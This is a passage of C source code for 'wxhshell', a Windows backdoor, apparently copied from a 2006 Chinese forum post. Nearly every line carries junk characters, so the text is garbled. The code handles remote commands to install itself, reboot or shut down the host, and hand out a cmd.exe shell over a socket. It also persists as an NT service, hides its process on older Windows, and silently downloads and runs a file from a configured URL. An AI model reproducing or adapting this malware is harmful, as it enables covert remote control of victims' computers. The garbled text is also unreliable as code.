#HV5M1mb  
    switch(cmd[0]) { H5 z1_O_+  
  r[(;J0=  
  // 帮助 ou-#+Sdd  
  case '?': { ,marNG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :,l16{^  
    break; VEy]vr}  
  } =6U5^+|d  
  // 安装 x1Gx9z9  
  case 'i': { 2OUx@Vj  
    if(Install()) !-)!UQ~|8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lW5Lwyt8  
    else {> ,M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )jXKPLj  
    break; :h(RS ;  
    } i[[.1MnS  
  // 卸载 Ja~8ZrcY  
  case 'r': { ; =n}61  
    if(Uninstall()) ho$}#o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HWV A5E[`Y  
    else ogIu\kiZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EmaS/]X[  
    break; -r,v3n  
    } Yeg<MrS4D  
  // 显示 wxhshell 所在路径 J.R]) &CB  
  case 'p': { MB;rxUbhe3  
    char svExeFile[MAX_PATH]; B>1,I'/$.  
    strcpy(svExeFile,"\n\r"); (W#CDw<ja  
      strcat(svExeFile,ExeFile); 4 xqzdR_  
        send(wsh,svExeFile,strlen(svExeFile),0); :4AIYk=q  
    break; CmXLD} L_x  
    } pfZ[YC-  
  // 重启 FdE?uw  
  case 'b': { hrnE5=iY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Y^4>y%  
    if(Boot(REBOOT)) NxF:s,a6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W!$U{=  
    else { |Ogh-<|<  
    closesocket(wsh); 1qR$ Yr\  
    ExitThread(0); v)np.j0V7  
    } E G+/2o+W  
    break; &OJ?Za@p@)  
    } MhA4C 8  
  // 关机 8o+:|V~X  
  case 'd': { hdWVvN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8?8V;   
    if(Boot(SHUTDOWN)) 0 \ U*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a>l,H#w*vW  
    else { 2OpA1$n6  
    closesocket(wsh); sSfP.R  
    ExitThread(0); L~f~XgQ  
    } 7 q!==P=  
    break; $(gL#"T  
    } 7zx xO|p[  
  // 获取shell d`TiY`!  
  case 's': { /:]<z6R  
    CmdShell(wsh); U\Y0v.11  
    closesocket(wsh); L+G0/G}O\  
    ExitThread(0); I(AlRh  
    break; ZxSnqbyA*  
  } QDW,e]A  
  // 退出 TgjjwcO Y  
  case 'x': { Q3%]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y2tVq})!  
    CloseIt(wsh); QuEX|h,F  
    break; mS[``$Z\!  
    } %\HE1d5;  
  // 离开 sN8pwRjb  
  case 'q': { @]IRB1X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Odwf7>  
    closesocket(wsh); 'k]~Q{K$  
    WSACleanup(); [K,P)V>K  
    exit(1); }F0<8L6%  
    break; =r/8~~=  
        } ,,G"EF0A  
  } ML'y`S  
  } I5E =Ujc_  
4Cu\|"5)  
  // 提示信息 $b2~Wj*-nJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]e),#_M  
} "p3<-06  
  } %y9sC1T  
g_{N^wS  
  return; 6)0.q|Q  
} ;v\s7y  
n%29WF6Zf  
// shell模块句柄 q 8sfG;)  
int CmdShell(SOCKET sock) 4v/MZ:%C`  
{ l!XCYg@67  
STARTUPINFO si; L3HC-  
ZeroMemory(&si,sizeof(si)); t O.5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ph]b6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qD*y60~]zz  
PROCESS_INFORMATION ProcessInfo; .-iW T4Dn  
char cmdline[]="cmd"; [/q Bvuun  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sQA_6]`  
  return 0; AB\Ya4O"9  
} BFw_T3}zn  
{e|.AD  
// 自身启动模式 *]HnFP  
int StartFromService(void) ms5?^kS2O  
{  s&pnB  
typedef struct 9s_^?q  
{ tqpO3  
  DWORD ExitStatus; @Q,Q"c2  
  DWORD PebBaseAddress; O!nS3%De  
  DWORD AffinityMask; `XH0S`B  
  DWORD BasePriority; Z" ;q w  
  ULONG UniqueProcessId; G3:!]}  
  ULONG InheritedFromUniqueProcessId; OFtf)cGE  
}   PROCESS_BASIC_INFORMATION; vVSDPlN;  
v=iiS}s  
PROCNTQSIP NtQueryInformationProcess; Lfi6b%/z  
)aGSZ1`/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wHs1ge(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O=+$X Pa|  
L$3lsu!4n  
  HANDLE             hProcess; R 39_!  
  PROCESS_BASIC_INFORMATION pbi; XfE9QA[  
R+NiIoa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fWq*Op.]c  
  if(NULL == hInst ) return 0; V:L%GWU  
DFWO5Y_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h_#=f(.'j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b9X*2pnWJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aR6F%7gvz  
^D+^~>f  
  if (!NtQueryInformationProcess) return 0; B%uY/Mwz$  
k*)sz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YhV<.2^k  
  if(!hProcess) return 0; Rs5lL-I  
\X&8EW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z[IM\# "  
?[Y(JO#  
  CloseHandle(hProcess); M\4` S&  
@~$"&B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gep#o$P  
if(hProcess==NULL) return 0; R6(:l; W  
hm73Zy  
HMODULE hMod; RV  V`  
char procName[255]; i:aW .QZ.  
unsigned long cbNeeded; v5'`iO0o  
G*+^b'7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mTI`^e  
k2v:F  
  CloseHandle(hProcess); <7Pp98si,u  
\fTQNF  
if(strstr(procName,"services")) return 1; // 以服务启动 !\4B.  
#}y8hzS$  
  return 0; // 注册表启动 9r]|P}yuS  
} -&Xv,:'?  
I<940PZ  
// 主模块 Tp;W4]'a*:  
int StartWxhshell(LPSTR lpCmdLine) 4{kH;~ z$  
{ ~i;{+j6Ho!  
  SOCKET wsl; t([}a ~1}  
BOOL val=TRUE; <r: AJ;  
  int port=0; B%;MGb o  
  struct sockaddr_in door; c$V5E t  
[y@*vQw  
  if(wscfg.ws_autoins) Install(); a,vS{434J  
iv$YUM+  
port=atoi(lpCmdLine); i$E [@  
T3P9  
if(port<=0) port=wscfg.ws_port; KCTX2eNN&h  
V#dga5*]  
  WSADATA data; Pt"H_SW~k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'M>m$cCMZ  
aq$ hE-{28  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :/|"db&`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RA[j=RxK  
  door.sin_family = AF_INET; V+Tv:a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bOj)Wu  
  door.sin_port = htons(port); ).5 X  
NV4g5)D&L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tsc `u>  
closesocket(wsl); >l &]Ho  
return 1; kh0cJE\_^  
} 4uIYX  
EpAgKzVpJ  
  if(listen(wsl,2) == INVALID_SOCKET) { Z71m(//*}  
closesocket(wsl); D|9+:Y  
return 1; *(Dmd$|0|  
} u)0I$Tc"  
  Wxhshell(wsl); C")genMH  
  WSACleanup(); )cJ>&g4]  
~'_cBJ 'XD  
return 0; ;yJ:W8U]+;  
o]oiJvOr  
} &+2l#3}  
,_3hbT8Q  
// 以NT服务方式启动 tz@MZs09  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !e|\1v'0  
{ !B3TLe h  
DWORD   status = 0; R(~wSL*R>  
  DWORD   specificError = 0xfffffff; H\S)a FY[  
lDYgt UKG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [7v|bd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5^Qa8yA>7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; lv 8EfN  
  serviceStatus.dwWin32ExitCode     = 0; _HUbE /  
  serviceStatus.dwServiceSpecificExitCode = 0; C[^V\?3ly:  
  serviceStatus.dwCheckPoint       = 0; /IpCo  
  serviceStatus.dwWaitHint       = 0; ;>?h/tS6  
Ki;SONSV~|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7s(tAbPdB  
  if (hServiceStatusHandle==0) return; 92DM1~ *  
ss)x fG  
status = GetLastError(); f4f2xe7\Q  
  if (status!=NO_ERROR) S!b18|o"  
{ s/D)X=P1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WBE>0L  
    serviceStatus.dwCheckPoint       = 0; C{}_Rb'x  
    serviceStatus.dwWaitHint       = 0; @V*dF|# /  
    serviceStatus.dwWin32ExitCode     = status; q\6(_U#Tl  
    serviceStatus.dwServiceSpecificExitCode = specificError; D`LBv,n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q7865  
    return; xR1G  
  } 4KH492Nq9  
sT\:**  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7<yc:}9nx  
  serviceStatus.dwCheckPoint       = 0; LCHMh6  
  serviceStatus.dwWaitHint       = 0; (wDE!H7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GI%&.Vd  
} F_ F"3'[  
cszvt2BIg  
// 处理NT服务事件,比如:启动、停止 I/dy^5@F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !ZBtXt#P  
{ @[n#-!i  
switch(fdwControl) rpT.n-H>%A  
{ W'[V$*  
case SERVICE_CONTROL_STOP: 'h*jL@%TT  
  serviceStatus.dwWin32ExitCode = 0; p>B2bv+L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8 t5kou]h  
  serviceStatus.dwCheckPoint   = 0; 11=$] K>  
  serviceStatus.dwWaitHint     = 0; 'X?xn@?  
  { m^_=^z+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jxe+LG  
  } T D _@0Rd  
  return; eM5?fE&!&  
case SERVICE_CONTROL_PAUSE: Zzlf1#26\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~ nsb  
  break; 4V,.Oi  
case SERVICE_CONTROL_CONTINUE: gF)9a_R%p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "%-Vrb=:Y  
  break; wX,V:QE  
case SERVICE_CONTROL_INTERROGATE: <g[z jV9p  
  break; %nZl`<M  
}; Z?axrGmg0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hS]w A"\87  
} ~G!JqdKJ0  
YlHP:ZW-cu  
// 标准应用程序主函数 $coO~qvU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X,QsE{  
{ ,;)ZF  
J Wn26,  
// 获取操作系统版本 fvkcJwkc  
OsIsNt=GetOsVer(); cr1x CPJj  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  ?%,NOX  
WgtLKRZ\  
  // 从命令行安装 y?$DDD  
  if(strpbrk(lpCmdLine,"iI")) Install(); /at7 H!  
tb3V qFx  
  // 下载执行文件 y0* rY  
if(wscfg.ws_downexe) { d!,t_jM0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U.7fMc#  
  WinExec(wscfg.ws_filenam,SW_HIDE); O `}EiyV  
} O*EV~ {K  
/A=w`[<  
if(!OsIsNt) { 6%v9o?:~l  
// 如果时win9x,隐藏进程并且设置为注册表启动 -=ZL(r 1  
HideProc(); /).{h'^Hq\  
StartWxhshell(lpCmdLine); R?{+&r.X  
} F/>_PH57  
else h@:K=gg K  
  if(StartFromService()) ht3.e[%'b  
  // 以服务方式启动 (`P\nnb  
  StartServiceCtrlDispatcher(DispatchTable); lPTx] =G  
else yeo&Qz2vU  
  // 普通方式启动 P?54"$b  
  StartWxhshell(lpCmdLine); +EETo):  
G.W !   
return 0; 8t-GsjHb  
}
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只看该作者 1 发表于: 2006-10-10
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